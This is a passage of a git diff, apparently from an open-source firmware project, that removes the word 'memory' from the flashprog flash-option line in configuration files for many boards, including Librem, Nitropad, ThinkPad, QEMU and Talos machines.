boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-legacy-flash/x230-legacy-flash.config | 2 +- boards/x230-legacy/x230-legacy.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- .../UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 2 +- .../UNMAINTAINED_t430-hotp-legacy.config | 2 +- .../UNMAINTAINED_t430-legacy-flash.config | 2 +- .../UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config | 2 +- .../UNMAINTAINED_t520-hotp-maximized.config | 2 +- .../UNMAINTAINED_t520-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-hotp-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 2 +- 60 files changed, 60 insertions(+), 60 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 4a55e94f8..3a847c260 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -72,5 +72,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server-whiptail" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 77100ad31..5f363add8 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -61,5 +61,5 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index a82ebe36f..235d579ab 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -67,4 +67,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation-USB-Keyboard" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index 8972c9baa..e927edabc 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -68,4 +68,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 0c26c8f5c..1c50b4ef6 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 11" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 6d1e352d9..5accb0bcf 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v2/v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index b4d3a93b5..0abeb61d6 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 2596ee0b5..5c8b3d8e9 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -35,7 +35,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 14" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 77db0afbd..cf541ef07 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index c8674f734..9deaea273 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 81627f08a..ed8dc1765 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 8564a0409..6098682b9 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -40,7 +40,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 6b1a9c552..46d0a7388 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 241842126..163876e16 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini v2" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 038e169f7..7721927b4 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NS50" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index b669aae37..54bc0d44e 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NV41" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index b2a46559f..665cb0e45 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 1690918db..81558e823 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index f23fd7b09..21750ddcf 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index fbb1b5e45..94881db3b 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index e8f7fb839..68f0acf09 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 929b5a5a3..c700478cb 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index b1fe068fc..6574dc3ec 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 1c42f6f70..019521225 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 73fe565c9..dbdeda6a0 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 2c1269d1f..2bd5aaaa6 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 3d3c1da47..1861c64cb 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 2fabc2da7..0a804940a 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 756ab46b3..22aeb9c6a 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T440p-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 119b0a17b..f237b3dbd 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 40350d0cd..84acd68ca 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/talos-2/talos-2.config b/boards/talos-2/talos-2.config index e3a935258..fc6cd0e35 100644 --- a/boards/talos-2/talos-2.config +++ b/boards/talos-2/talos-2.config @@ -47,6 +47,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="quiet" export CONFIG_BOOT_KERNEL_ADD="console=tty0 console=hvc0 rootdelay=3 rootwait panic=10" export CONFIG_BOARD_NAME="Talos 2" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer linux_mtd" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer linux_mtd" BOARD_TARGETS := ppc_tgz diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 22c6e37c9..425989a95 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 60b7e726b..26c88bb63 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP 